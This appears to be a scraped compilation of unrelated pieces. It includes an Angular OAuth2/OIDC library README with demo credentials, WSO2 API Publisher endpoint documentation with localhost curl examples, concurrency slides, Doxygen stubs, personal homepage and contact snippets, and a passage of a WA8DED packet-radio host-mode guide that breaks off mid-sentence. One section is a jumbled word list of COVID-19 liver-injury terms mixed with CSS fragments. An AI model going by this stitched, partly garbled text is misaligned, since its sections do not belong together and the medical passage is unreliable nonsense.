Support for OAuth 2 and OpenId Connect (OIDC) in Angular.
Sources and Sample: https://github.com/manfredsteyer/angular-oauth2-oidc
Source Code Documentation https://manfredsteyer.github.io/angular-oauth2-oidc/angular-oauth2-oidc/docs/
Successfully tested with the Angular 2 and 4 and its Router, PathLocationStrategy as well as HashLocationStrategy and CommonJS-Bundling via webpack. At server side we've used IdentityServer (.NET/ .NET Core) and Redhat's Keycloak (Java).
events
.token_expires
can be used togehter with a silent refresh to automatically refresh a token when/ before it expires (see also property timeoutFactor
).oidc
defaults to true
.oidc
to false
. Otherwise, the validation of the user profile will fail!sessionStorage
is used. To use localStorage
call method setStoragerequireHttps
, e. g. for local testing.strictDiscoveryDocumentValidation
.You can use the OIDC-Sample-Server mentioned in the samples for Testing. It assumes, that your Web-App runns on http://localhost:8080.
Username/Password: max/geheim
clientIds:
redirectUris:
import { OAuthModule } from 'angular-oauth2-oidc';
[...]
@NgModule({
imports: [
[...]
HttpModule,
OAuthModule.forRoot()
],
declarations: [
AppComponent,
HomeComponent,
[...]
],
bootstrap: [
AppComponent
]
})
export class AppModule {
}
This section shows how to use the implicit flow, which is redirecting the user to the auth-server for the login.
To configure the library you just have to set some properties on startup. For this, the following sample uses the constructor of the AppComponent which is called before routing kicks in.
@Component({ ... })
export class AppComponent {
constructor(private oauthService: OAuthService) {
// URL of the SPA to redirect the user to after login
this.oauthService.redirectUri = window.location.origin + "/index.html";
// The SPA's id. The SPA is registerd with this id at the auth-server
this.oauthService.clientId = "spa-demo";
// set the scope for the permissions the client should request
// The first three are defined by OIDC. The 4th is a usecase-specific one
this.oauthService.scope = "openid profile email voucher";
// The name of the auth-server that has to be mentioned within the token
this.oauthService.issuer = "https://steyer-identity-server.azurewebsites.net/identity";
// Load Discovery Document and then try to login the user
this.oauthService.loadDiscoveryDocument().then(() => {
// This method just tries to parse the token(s) within the url when
// the auth-server redirects the user back to the web-app
// It dosn't send the user the the login page
this.oauthService.tryLogin();
});
}
}
When you don't have a discovery document, you have to configure more properties manually:
@Component({ ... })
export class AppComponent {
constructor(private oauthService: OAuthService) {
// Login-Url
this.oauthService.loginUrl = "https://steyer-identity-server.azurewebsites.net/identity/connect/authorize"; //Id-Provider?
// URL of the SPA to redirect the user to after login
this.oauthService.redirectUri = window.location.origin + "/index.html";
// The SPA's id. Register SPA with this id at the auth-server
this.oauthService.clientId = "spa-demo";
// set the scope for the permissions the client should request
this.oauthService.scope = "openid profile email voucher";
// Use setStorage to use sessionStorage or another implementation of the TS-type Storage
// instead of localStorage
this.oauthService.setStorage(sessionStorage);
// To also enable single-sign-out set the url for your auth-server's logout-endpoint here
this.oauthService.logoutUrl = "https://steyer-identity-server.azurewebsites.net/identity/connect/endsession";
// This method just tries to parse the token(s) within the url when
// the auth-server redirects the user back to the web-app
// It dosn't send the user the the login page
this.oauthService.tryLogin();
}
}
import { Component } from '@angular/core';
import { OAuthService } from 'angular-oauth2-oidc';
@Component({
templateUrl: "app/home.html"
})
export class HomeComponent {
constructor(private oAuthService: OAuthService) {
}
public login() {
this.oAuthService.initImplicitFlow();
}
public logoff() {
this.oAuthService.logOut();
}
public get name() {
let claims = this.oAuthService.getIdentityClaims();
if (!claims) return null;
return claims.given_name;
}
}
<h1 *ngIf="!name">
Hallo
</h1>
<h1 *ngIf="name">
Hallo, {{name}}
</h1>
<button class="btn btn-default" (click)="login()">
Login
</button>
<button class="btn btn-default" (click)="logoff()">
Logout
</button>
<div>
Username/Passwort zum Testen: max/geheim
</div>
You can hook in an implementation of the interface TokenValidator
to validate the signature of the received id_token and its at_hash property. This packages provides two implementations:
The former one validates the signature against public keys received via the discovery document (property jwks) and the later one skips the validation on client side.
import { JwksValidationHandler } from 'angular-oauth2-oidc';
[...]
this.oauthService.tokenValidationHandler = new JwksValidationHandler();
In cases where no ValidationHandler is defined, you receive a warning on the console. This means that the library wants you to explicitly decide on this.
Pass this Header to the used method of the Http
-Service within an Instance of the class Headers
:
var headers = new Headers({
"Authorization": "Bearer " + this.oauthService.getAccessToken()
});
To refresh your tokens when using implicit flow you can use a silent refresh. This is a well-known solution that compensates the fact that implicit flow does not allow for issuing a refresh token. It uses a hidden iframe to get another token from the auth-server. When the user is there still logged in (by using a cookie) it will respond without user interaction and provide new tokens.
To use this approach, setup a redirect uri for the silent refresh:
this.oauthService.silentRefreshRedirectUri = window.location.origin + "/silent-refresh.html";
Please keep in mind that this uri has to be configured at the auth-server too.
This file is loaded into the hidden iframe after getting new tokens. Its only task is to send the received tokens to the main application:
<html>
<body>
<script>
parent.postMessage(location.hash, location.origin);
</script>
</body>
</html>
Please make sure that this file is copied to your output directory by your build task. When using the CLI you can define it as an asset for this. For this, you have to add the following line to the file .angular-cli.json
:
"assets": [
[...],
"silent-refresh.html"
],
To perform a silent refresh, just call the following method:
this
.oauthService
.silentRefresh()
.then(info => console.debug('refresh ok', info))
.catch(err => console.error('refresh error', err));
When there is an error in the iframe that prevents the communication with the main application, silentRefresh will give you a timeout. To configure the timespan for this, you can set the property siletRefreshTimeout
(msec). The default value is 20.000 (20 seconds).
To automatically refresh a token when/ some time before it expires, you can make use of the event token_expires
:
this
.oauthService
.events
.filter(e => e.type == 'token_expires')
.subscribe(e => {
this.oauthService.silentRefresh();
});
By default, this event is fired after 75% of the token's life time is over. You can adjust this factor by setting the property timeoutFactor
to a value between 0 and 1. For instance, 0.5 means, that the event is fired after half of the life time is over and 0.33 triggers the event after a third.
There is a callback onTokenReceived
, that is called after a successful login. In this case, the lib received the access_token as
well as the id_token, if it was requested. If there is an id_token, the lib validated it.
this.oauthService.tryLogin({
onTokenReceived: context => {
//
// Output just for purpose of demonstration
// Don't try this at home ... ;-)
//
console.debug("logged in");
console.debug(context);
}
});
When calling initImplicitFlow
, you can pass an optional state which could be the requested url:
this.oauthService.initImplicitFlow('http://www.myurl.com/x/y/z');
After login succeeded, you can read this state:
this.oauthService.tryLogin({
onTokenReceived: (info) => {
console.debug('state', info.state);
}
})
You can set the property customQueryParams
to a hash with custom parameter that are transmitted when starting implicit flow.
this.oauthService.customQueryParams = {
'tenant': '4711',
'otherParam': 'someValue'
};
If you are leveraging the LocationStrategy
which the Router is using by default, you can skip this section.
When using the HashStrategy
for Routing, the Router will override the received hash fragment with the tokens when it performs it initial navigation. This prevents the library from reading them. To avoid this, disable initial navigation when setting up the routes for your root module:
export let AppRouterModule = RouterModule.forRoot(APP_ROUTES, {
useHash: true,
initialNavigation: false
});
After tryLogin did its job, you can manually perform the initial navigation:
this.oauthService.tryLogin().then(_ => {
this.router.navigate(['/']);
})
Another solution is the use a redirect uri that already contains the initial route. In this case the router will not override it. An example for such a redirect uri is
http://localhost:8080/#/home
this.oauthService.events.subscribe(e => {
console.debug('oauth/oidc event', e);
})
This section shows how to use the password flow, which demands the user to directly enter his or her password into the client.
To configure the library you just have to set some properties on startup. For this, the following sample uses the constructor of the AppComponent which is called before routing kicks in.
Please not, that this configuation is quite similar to the one for the implcit flow.
@Component({ ... })
export class AppComponent {
constructor(private oauthService: OAuthService) {
// The SPA's id. Register SPA with this id at the auth-server
this.oauthService.clientId = "demo-resource-owner";
// set the scope for the permissions the client should request
// The auth-server used here only returns a refresh token (see below), when the scope offline_access is requested
this.oauthService.scope = "openid profile email voucher offline_access";
// Use setStorage to use sessionStorage or another implementation of the TS-type Storage
// instead of localStorage
this.oauthService.setStorage(sessionStorage);
// Set a dummy secret
// Please note that the auth-server used here demand the client to transmit a client secret, although
// the standard explicitly cites that the password flow can also be used without it. Using a client secret
// does not make sense for a SPA that runs in the browser. That's why the property is called dummyClientSecret
// Using such a dummy secreat is as safe as using no secret.
this.oauthService.dummyClientSecret = "geheim";
// Load Discovery Document and then try to login the user
let url = 'https://steyer-identity-server.azurewebsites.net/identity/.well-known/openid-configuration';
this.oauthService.loadDiscoveryDocument(url).then(() => {
// Do what ever you want here
});
}
}
In cases where you don't have an OIDC based discovery document you have to configure some more properties manually:
@Component({ ... })
export class AppComponent {
constructor(private oauthService: OAuthService) {
// Login-Url
this.oauthService.tokenEndpoint = "https://steyer-identity-server.azurewebsites.net/identity/connect/token";
// Url with user info endpoint
// This endpont is described by OIDC and provides data about the loggin user
// This sample uses it, because we don't get an id_token when we use the password flow
// If you don't want this lib to fetch data about the user (e. g. id, name, email) you can skip this line
this.oauthService.userinfoEndpoint = "https://steyer-identity-server.azurewebsites.net/identity/connect/userinfo";
// The SPA's id. Register SPA with this id at the auth-server
this.oauthService.clientId = "demo-resource-owner";
// set the scope for the permissions the client should request
this.oauthService.scope = "openid profile email voucher offline_access";
// Set a dummy secret
// Please note that the auth-server used here demand the client to transmit a client secret, although
// the standard explicitly cites that the password flow can also be used without it. Using a client secret
// does not make sense for a SPA that runs in the browser. That's why the property is called dummyClientSecret
// Using such a dummy secreat is as safe as using no secret.
this.oauthService.dummyClientSecret = "geheim";
}
}
this.oauthService.fetchTokenUsingPasswordFlow('max', 'geheim').then((resp) => {
// Loading data about the user
return this.oauthService.loadUserProfile();
}).then(() => {
// Using the loaded user data
let claims = this.oAuthService.getIdentityClaims();
if (claims) console.debug('given_name', claims.given_name);
})
There is also a short form for fetching the token and loading the user profile:
this.oauthService.fetchTokenUsingPasswordFlowAndLoadUserProfile('max', 'geheim').then(() => {
let claims = this.oAuthService.getIdentityClaims();
if (claims) console.debug('given_name', claims.given_name);
});
Using the password flow you MIGHT get a refresh token (which isn't the case with the implicit flow by design!). You can use this token later to get a new access token, e. g. after it expired.
this.oauthService.refreshToken().then(() => {
console.debug('ok');
})


the and liver (.) patients with COVID- that {background coronavirus for margin dysfunction inflammatory {border-style case from infected novel px;} #ffffff;} COVID--related AST have serum (–) also China ACE respiratory are The function .%, multiple proportion these (%) acute been has infection levels may not than this ALT SARS-CoV- Wuhan, cause characteristics damage disease drugs increased px; receptor such syndrome systemic was {font-family (Wuhan) [], distribution enzyme font-size more organ severe some treatment COVID-. Chen Normal can cells children data double; further had pneumonia potential reports response review viral which (.–.) However, Liver Non-severe al.Clinical aminotransferase any aspartate border-color border-width cell clinical distress dysfunction. findings hepatic higher many only other proinflammatory series solid; studies {font-style {font-weight "storm" < (.%) (IU/L) All China, Engl For Male Med./NEJMoa This ZhiE./cma.j.issn.-.. abnormal acetaminophen acid age alanine article bile bold caused courier; different duct elevated em; epithelial factors, features hepatitis, hepatocytes hepatotoxic including infection. likely medical men one potentially pt;} related reported secondary suggest test there use were where


By Phone:
You may contact me for more information about any of the locations by calling<PHONE_NUMBER>
By Email:
My email address is<EMAIL_ADDRESS>By Mail:
Mail sent to me can be addressed as: P.O. Box 322 Linwood, MI 48634
You may contact me for more information about any of the locations by calling<PHONE_NUMBER>
My email address is<EMAIL_ADDRESS>Mail sent to me can be addressed as: P.O. Box 322 Linwood, MI 48634


This is the beginning of my website home page. In here I will keep you updated with what I have done in my life. hahaha
Still on the search for a job!


Hover over the underlined words for suggestions, double click to accept the changes you like (or you can accept them all!) and then copy & paste them back in place of your message!


◆ __init__()
| def dam_construction_utility.DamConstructionUtility.__init__ |
( |
|
self, |
|
|
|
mechanical_model_part, |
|
|
|
thermal_model_part, |
|
|
|
parameters |
|
) |
| |
◆ AfterOutputStep()
| def dam_construction_utility.DamConstructionUtility.AfterOutputStep |
( |
|
self | ) |
|
◆ BeforeSolutionLoop()
| def dam_construction_utility.DamConstructionUtility.BeforeSolutionLoop |
( |
|
self | ) |
|
◆ ExecuteFinalize()
| def dam_construction_utility.DamConstructionUtility.ExecuteFinalize |
( |
|
self | ) |
|
◆ Initialize()
| def dam_construction_utility.DamConstructionUtility.Initialize |
( |
|
self | ) |
|
◆ InitializeSolutionStep()
| def dam_construction_utility.DamConstructionUtility.InitializeSolutionStep |
( |
|
self | ) |
|
◆ activate_check_temperature
| dam_construction_utility.DamConstructionUtility.activate_check_temperature |
◆ check_temperature_parameters
| dam_construction_utility.DamConstructionUtility.check_temperature_parameters |
◆ Construction
| dam_construction_utility.DamConstructionUtility.Construction |
◆ construction_input_file_name
| dam_construction_utility.DamConstructionUtility.construction_input_file_name |
◆ heat_source_parameters
| dam_construction_utility.DamConstructionUtility.heat_source_parameters |
◆ heat_source_type
| dam_construction_utility.DamConstructionUtility.heat_source_type |
◆ mechanical_model_part
| dam_construction_utility.DamConstructionUtility.mechanical_model_part |
◆ name_sub_heat_flux
| dam_construction_utility.DamConstructionUtility.name_sub_heat_flux |
◆ name_sub_hydro_press
| dam_construction_utility.DamConstructionUtility.name_sub_hydro_press |
◆ name_sub_mechanical_part
| dam_construction_utility.DamConstructionUtility.name_sub_mechanical_part |
◆ name_sub_thermal_part
| dam_construction_utility.DamConstructionUtility.name_sub_thermal_part |
◆ table_ambient
| dam_construction_utility.DamConstructionUtility.table_ambient |
◆ thermal_model_part
| dam_construction_utility.DamConstructionUtility.thermal_model_part |
The documentation for this class was generated from the following file:


Walks in Nature
My go to leisure activity for stress relief is going for a walk. Nature never fails me and I love going out in nature. I love watching the birds go round their business, I love watching squirrels run around chasing each other and I love all the trees and the fresh oxygen.
Reading
Reading is what I do when I want to feel peace. Reading comes natural to me and I cannot imagine
a life without books. I love reading philosophy and self-help books. Other than that, I read a mystery
or detective novel here and there. I also read fiction but only sometimes because good fiction is hard to
come by nowadays. I mostly read old fictional novels and literature.
Poetry is another thing I cannot imagine my life without. There are some fine poems out there in the world and I want to read
each and every one of them! A poem for your liking!


GET https://apis.wso2.com/api/am/publisher/v0.15/apis/{apiId}/documents/{documentId}/content
This operation can be used to retrive the content of an API's document. The document can be of 3 types. In each cases responses are different. 1. **Inline type**: The content of the document will be retrieved in `text/plain` content type _Sample cURL_ : `curl -k -H "Authorization:Bearer 579f0af4-37be-35c7-81a4-f1f1e9ee7c51" -F<EMAIL_ADDRESS>-X POST "https://localhost:9443/api/am/publisher/v0.15/apis/995a4972-3178-4b17-a374-756e0e19127c/documents/43c2bcce-60e7-405f-bc36-e39c0c5e189e/content` 2. **FILE type**: The file will be downloaded with the related content type (eg. `application/pdf`) 3. **URL type**: The client will recieve the URL of the document as the Location header with the response with - `303 See Other`
apim:api_view
i
GET https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/daf732d3-bda2-46da-b381-2c39d901ea61/content
Authorization:Bearer b0982cd2aacd463ff5f63cd5ebe58f4a
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="sample.pdf"
Content-Type: application/octet-stream
Content-Length: 7802
%PDF-1.4
%äüöß
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
..
>>
startxref
7279
%%EOF
curl -k -H "Authorization:Bearer b0982cd2aacd463ff5f63cd5ebe58f4a" "https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/daf732d3-bda2-46da-b381-2c39d901ea61/content" > sample.pdf
| Type | Name | Description | Schema | Default |
|---|---|---|---|---|
| Path |
apiId required |
**API ID** consisting of the **UUID** of the API. Using the **UUID** in the API call is recommended. The combination of the provider of the API, name of the API and the version is also accepted as a valid API ID. Should be formatted as **provider-name-version**. |
String | |
| Path |
documentId required |
Document Identifier |
String | |
| Header |
Accept optional |
Media types acceptable for the response. Default is application/json. |
String |
application/json |
| Header |
If-None-Match optional |
Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resource (Will be supported in future). |
String | |
| Header |
If-Modified-Since optional |
Validator for conditional requests; based on Last Modified header of the formerly retrieved variant of the resource (Will be supported in future). |
String |
| HTTP Code | Description | Schema |
|---|---|---|
200 |
OK. File or inline content returned. |
|
303 |
See Other. Source can be retrived from the URL specified at the Location header. |
|
304 |
Not Modified. Empty body because the client has already the latest version of the requested resource (Will be supported in future). |
|
404 |
Not Found. Requested Document does not exist. |
Error |
406 |
Not Acceptable. The requested media type is not supported |
Error |
POST https://apis.wso2.com/api/am/publisher/v0.15/apis/{apiId}/documents/{documentId}/content
Thid operation can be used to upload a file or add inline content to an API document. **IMPORTANT:** * Either **file** or **inlineContent** form data parameters should be specified at one time. * Document's source type should be **FILE** in order to upload a file to the document using **file** parameter. * Document's source type should be **INLINE** in order to add inline content to the document using **inlineContent** parameter.
apim:api_create
i
POST https://localhost:9443/api/am/publisher/v0.15/apis/8848faaa-7fd1-478a-baa2-48a4ebb92c98/documents/b3a79270-02bb-4e39-9ac1-90ce8f6c84af/content
Authorization:Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8
Content-Length: 8004
Content-Type: multipart/form-data; boundary=------------------------7b9a53f1ffa452b9
--------------------------7b9a53f1ffa452b9
Content-Disposition: form-data; name="file"; filename="sample.pdf"
Content-Type: application/octet-stream
[file content]
--------------------------7b9a53f1ffa452b9--
HTTP/1.1 201 Created
Location: https://localhost:9443/api/am/publisher/v0.15/apis/8848faaa-7fd1-478a-baa2-48a4ebb92c98/documents/b3a79270-02bb-4e39-9ac1-90ce8f6c84af/content
Content-Type: application/json
{
"visibility":"API_LEVEL",
"sourceType":"FILE",
"sourceUrl":null,
"otherTypeName":null,
"documentId":"daf732d3-bda2-46da-b381-2c39d901ea61",
"summary":"This is a sample documentation pdf",
"name":"Introduction to PhoneVerification API PDF",
"type":"HOWTO"
}
curl -k -H "Authorization:Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8" -F<EMAIL_ADDRESS>-X POST "https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/daf732d3-bda2-46da-b381-2c39d901ea61/content"
| Type | Name | Description | Schema | Default |
|---|---|---|---|---|
| Path |
apiId required |
**API ID** consisting of the **UUID** of the API. Using the **UUID** in the API call is recommended. The combination of the provider of the API, name of the API and the version is also accepted as a valid API ID. Should be formatted as **provider-name-version**. |
String | |
| Path |
documentId required |
Document Identifier |
String | |
| Header |
Content-Type required |
Media type of the entity in the body. Default is application/json. |
String |
application/json |
| Form |
file optional |
Document to upload |
File | |
| Form |
inlineContent optional |
Inline content of the document |
String | |
| Header |
If-Match optional |
Validator for conditional requests; based on ETag (Will be supported in future). |
String | |
| Header |
If-Unmodified-Since optional |
Validator for conditional requests; based on Last Modified header (Will be supported in future). |
String |
| HTTP Code | Description | Schema |
|---|---|---|
200 |
OK. Document updated |
Document |
400 |
Bad Request. Invalid request or validation error. |
Error |
404 |
Not Found. The resource to be updated does not exist. |
Error |
412 |
Precondition Failed. The request has not been performed because one of the preconditions is not met. |
Error |
DELETE https://apis.wso2.com/api/am/publisher/v0.15/apis/{apiId}/documents/{documentId}
This operation can be used to delete a document associated with an API.
apim:api_create
i
DELETE https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/ffd5790d-b7a9-4cb6-b76a-f8b83ecdd058
Authorization: Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8
HTTP/1.1 200 OK
curl -k -H "Authorization: Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8" -X DELETE https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/ffd5790d-b7a9-4cb6-b76a-f8b83ecdd058
| Type | Name | Description | Schema | Default |
|---|---|---|---|---|
| Path |
apiId required |
**API ID** consisting of the **UUID** of the API. Using the **UUID** in the API call is recommended. The combination of the provider of the API, name of the API and the version is also accepted as a valid API ID. Should be formatted as **provider-name-version**. |
String | |
| Path |
documentId required |
Document Identifier |
String | |
| Header |
If-Match optional |
Validator for conditional requests; based on ETag (Will be supported in future). |
String | |
| Header |
If-Unmodified-Since optional |
Validator for conditional requests; based on Last Modified header (Will be supported in future). |
String |
| HTTP Code | Description | Schema |
|---|---|---|
200 |
OK. Resource successfully deleted. |
|
404 |
Not Found. Resource to be deleted does not exist. |
Error |
412 |
Precondition Failed. The request has not been performed because one of the preconditions is not met. |
Error |
GET https://apis.wso2.com/api/am/publisher/v0.15/apis/{apiId}/documents/{documentId}
This operation can be used to retrieve a particular document's metadata associated with an API.
apim:api_view
i
GET https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/0bcb7f05-599d-4e1a-adce-5cb89bfe58d5
Authorization: Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8
HTTP/1.1 200 OK
Content-Type: application/json
{
"visibility": "API_LEVEL",
"sourceType": "INLINE",
"sourceUrl": null,
"otherTypeName": null,
"documentId": "0bcb7f05-599d-4e1a-adce-5cb89bfe58d5",
"summary": "This is a sample documentation",
"name": "PhoneVerification API Documentation",
"type": "HOWTO"
}
curl -k -H "Authorization: Bearer ae4eae22-3f65-387b-a171-d37eaa366fa8" "https://localhost:9443/api/am/publisher/v0.15/apis/890a4f4d-09eb-4877-a323-57f6ce2ed79b/documents/0bcb7f05-599d-4e1a-adce-5cb89bfe58d5"
| Type | Name | Description | Schema | Default |
|---|---|---|---|---|
| Path |
apiId required |
**API ID** consisting of the **UUID** of the API. Using the **UUID** in the API call is recommended. The combination of the provider of the API, name of the API and the version is also accepted as a valid API ID. Should be formatted as **provider-name-version**. |
String | |
| Path |
documentId required |
Document Identifier |
String | |
| Header |
Accept optional |
Media types acceptable for the response. Default is application/json. |
String |
application/json |
| Header |
If-None-Match optional |
Validator for conditional requests; based on the ETag of the formerly retrieved variant of the resource (Will be supported in future). |
String | |
| Header |
If-Modified-Since optional |
Validator for conditional requests; based on Last Modified header of the formerly retrieved variant of the resource (Will be supported in future). |
String |
| HTTP Code | Description | Schema |
|---|---|---|
200 |
OK. Document returned. |
Document |
304 |
Not Modified. Empty body because the client has already the latest version of the requested resource (Will be supported in future). |
|
404 |
Not Found. Requested Document does not exist. |
Error |
406 |
Not Acceptable. The requested media type is not supported |
Error |
PUT https://apis.wso2.com/api/am/publisher/v0.15/apis/{apiId}/documents/{documentId}
This operation can be used to update metadata of an API's document.
apim:api_create
i
PUT https://localhost:9443/api/am/publisher/v0.15/apis/96077508-fd01-4fae-bc64-5de0e2baf43c/documents/0bcb7f05-599d-4e1a-adce-5cb89bfe58d5
Authorization:Bearer b0982cd2aacd463ff5f63cd5ebe58f4a
Content-Type: application/json
{
"visibility": "API_LEVEL",
"sourceType": "INLINE",
"sourceUrl": null,
"otherTypeName": null,
"documentId": "0bcb7f05-599d-4e1a-adce-5cb89bfe58d5",
"summary": "This is a sample documentation for v1.0.0",
"name": "PhoneVerification API Documentation",
"type": "HOWTO"
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"visibility": "API_LEVEL",
"sourceType": "INLINE",
"sourceUrl": null,
"otherTypeName": null,
"documentId": "0bcb7f05-599d-4e1a-adce-5cb89bfe58d5",
"summary": "This is a sample documentation for v1.0.0",
"name": "PhoneVerification API Documentation",
"type": "HOWTO"
}
curl -k -H "Authorization:Bearer b0982cd2aacd463ff5f63cd5ebe58f4a" -H "Content-Type: application/json" -X PUT -d data.json "https://localhost:9443/api/am/publisher/v0.15/apis/96077508-fd01-4fae-bc64-5de0e2baf43c/documents/0bcb7f05-599d-4e1a-adce-5cb89bfe58d5"
| Type | Name | Description | Schema | Default |
|---|---|---|---|---|
| Path |
apiId required |
**API ID** consisting of the **UUID** of the API. Using the **UUID** in the API call is recommended. The combination of the provider of the API, name of the API and the version is also accepted as a valid API ID. Should be formatted as **provider-name-version**. |
String | |
| Path |
documentId required |
Document Identifier |
String | |
| Body |
body required |
Document object that needs to be added |
Document (Document) | |
| Header |
Content-Type required |
Media type of the entity in the body. Default is application/json. |
String |
application/json |
| Header |
If-Match optional |
Validator for conditional requests; based on ETag (Will be supported in future). |
String | |
| Header |
If-Unmodified-Since optional |
Validator for conditional requests; based on Last Modified header (Will be supported in future). |
String |
| HTTP Code | Description | Schema |
|---|---|---|
200 |
OK. Document updated |
Document |
400 |
Bad Request. Invalid request or validation error. |
Error |
404 |
Not Found. The resource to be updated does not exist. |
Error |
412 |
Precondition Failed. The request has not been performed because one of the preconditions is not met. |
Error |


class Account {
public int balance = 0
public deposit(int amount) {
this.balance += amount
}
}
// thread 1
acc.deposit(100)
// thread 2
acc.deposit(10)
Reads and writes interleave:
Even worse things can hapen (we can talk...)
Add synchronized
magic
class Account {
private int balance = 0
public synchronized getBalance() {
return balance;
}
public synchronized deposit(int amount) {
this.balance += amount
}
}
class Account {
...
public synchronized transfer(other, amount) {
this.deposit (- amount)
other.deposit( amount)
}
}
Do we need synchronized
in transfer
?
// thread 1
acc1.transfer(acc2, 100)
// thread 2
acc2.transfer(acc1, 70)
acc1
acc2
acc2
acc1
f
f
takes the old value and returns the new oneBind value for observers in same thread
It atomizes complex functions over complex state
The monkey will asynchronously do the work for you
Software Transactional Memory (STM)
Of corse there is a lot more to it.
If you want to know more meet me after the talks or just watch this:
http://go/concurrency


WA8DED HOST MODE USER'S GUIDE
=============================
Original by Paul T. Williamson, KB5MU, 23 May 1986
Updated by Peter Guelzow, DB2OS, 8 Aug 1993
Abstract: This document explains the use of the WA8DED Host mode with
WA8DED's AX25 Version 2 Multi-channel TNC Firmware, Version 1.1 for the TAPR
TNC-1 and the TheFirmware TF Version 2.x for the TNC-2 by NORD><LINK e.V.
TheFirmware TF is also available for the TNC-3 (68302) Hardware.
It is based on the information provided in the WA8DED document (Version 1.0),
the W6IXU mailbox software (13 May 1986 revision), and the WA8DED Split
Screen Terminal Emulator (SS, 28 April 1986 version). It is intended for use by an
application programmer attempting to communicate with the TNC in Host mode, and
assumes that the programmer is already familiar with user-mode operation of the
WA8DED firmware and TheFirmware.
Chapter 1
What Is Host Mode?
WA8DED's TNC firmware provides two entirely independent user interfaces. The
default user interface is designed for use by a human operator at a terminal.
Host mode, on the other hand, is designed for use by a specially-designed
computer program. It allows the computer to maintain strict control of the
computer-TNC link, and to obtain control information that would otherwise be
difficult to extract from the normal data stream.
One of the most common bugaboos of computer-TNC interfacing has always been
flow control. The TNC is capable of sending data faster than the computer can
process it, and likewise the computer is capable of sending data faster than
the TNC can transmit it. It is theoretically possible to solve this problem
with either hardware flow control (RTS/CTS wires in the RS-232 link) or
software flow control (XON/XOFF characters inserted in the data stream). Both
of these methods are tricky and error-prone, however. Hardware flow control
may not always be available, and software flow control, even when it works
adequately, leads to data transparency problems (i.e., what if the data being
transmitted contains XON or XOFF?). If everything is not exactly right, data
will be lost.
WA8DED's Host mode solves this problem by
1. Speaking only when spoken to, and
2. Limiting all data bursts to 256 bytes.
The first point allows the computer program to go off and do other things
(write data out to disk, handle the console, make coffee) without worrying
about data coming from the TNC and dropping on the floor. The second point
allows computers that have a hard time handling fast serial data (e.g., a
Commodore 64 with no UART) to concentrate on the receiving task to fill a 256
byte buffer, then go off and process the data without worrying about additional
data arriving before it has time to process that batch. This scheme is very
forgiving of inefficient serial routines, so that faster computers can get away
with simple byte-level polling (e.g., a program for the IBM PC can use the BIOS
serial port routines).
On the subject of serial routines, notice that the TNC does not handle either
hardware or software flow control when in Host mode. You must make sure that
your serial drivers will not send unwanted XON and XOFF characters to the TNC.
Since the TNC speaks only when spoken to, the computer must constantly poll
the TNC to find out what is happening on the link. In user mode, connected
data received over the AX.25 link is immediately displayed (if that channel is
selected). In Host mode, the TNC is not allowed to send information
unsolicited, so the program must ask the TNC for data periodically. This
implies that the computer-TNC link will be busy most of the time. Frequent
polling and a relatively high baud rate (say 4800 or 9600 baud) are desirable
for applications that require quick response times. A user monitoring data in
real time will notice delays if the delay between polls is too great.
The format of these short computer-TNC exchanges is carefully specified to
eliminate ambiguity and minimize overhead. The computer sends to the TNC in
the following format:
{channel}{info/cmd}{count}{data...}
Channel is the channel number to which the transmission pertains. Info/cmd
distinguishes between information to be transmitted and commands to be acted
upon by the TNC. Count specifies the number of bytes to follow, and Data...
are the actual data bytes or command bytes. The details of this format will be
discussed later. All computer-to-TNC transmissions must follow this format.
The TNC sends to the computer one of several different formats:
{channel}{code=0} short format
or
{channel}{code=1-5}{data...}{0} null-terminated format
or
{channel}{code=6-7}{count}{data...} byte-count format]
Notice that you can always tell what is to follow from the code received.
The last format is very similar to the computer-to-TNC format. The details of
these formats will be described later. All computer-to-TNC transmissions will
follow one of these formats.
Chapter 2
Entering and Exiting Host Mode
Host mode is entered by giving a JHOST 1 command to the TNC in the usual way.
This sounds simple enough. Just send <ESC>JHOST1<CR> to the TNC. But what if
something has already been sent to the TNC (say by powerup transients)? The
<ESC> will be treated as data (echoed as ^[ by the TNC) and the command will be
lost. We can work around this by sending a ^U or ^X first, to clear the junk
out. It might also be a good idea to send an XON, in case the junk included an
XOFF. So we send ^Q^X^[JHOST1^M (or, if you prefer the ASCII mnemonics,
<DC1><CAN><ESC>JHOST1<CR>):
11 18 1B 4A 48 4F 53 54 31 0D
^Q ^X ^[ J H O S T 1 CR
This will work every time, if the TNC is in user mode. If the TNC is in Host
mode already, we should detect that fact and recover. Host mode recovery will
be discussed later in this document.
Exiting Host mode is a simple matter of sending a JHOST0 command to the TNC.
The TNC will acknowledge the JHOST0 command in the usual Host-mode fashion
before returning to user mode, so you can use your regular Host-mode
transaction routine.
Note that a QRES command issued in Host mode will dump you back into user
mode. It does not acknowledge in Host-mode fashion before doing so. The Host
mode parameter is not stored in NOVRAM, so it is not possible to "wake up" in
Host mode. It is, however, possible to PERM other parameters from Host mode.
Chapter 3
Commanding the TNC
OK, now that we're in Host mode, let's look at a simple command exchange. We
will gloss over some of the details for this first look. Suppose we want to
turn off Unattended mode. In normal user mode, we would type <ESC>U0<CR>.
That is, we would send a U0 command to the TNC. To send a U0 command in Host
mode, we have to assemble a transmission for the TNC according to the
computer-to-TNC format.
Recall that the computer-to-TNC format is:
{channel}{info/cmd}{count}{data...}
The first byte, channel, is the channel number.  Likewise, in Host
mode, it doesn't matter which channel you send this command to. Let's choose
channel 0. The second byte is info/cmd; this is a command, so this byte has to
be 1. The command data we are going to send is simply "U0", the same ASCII
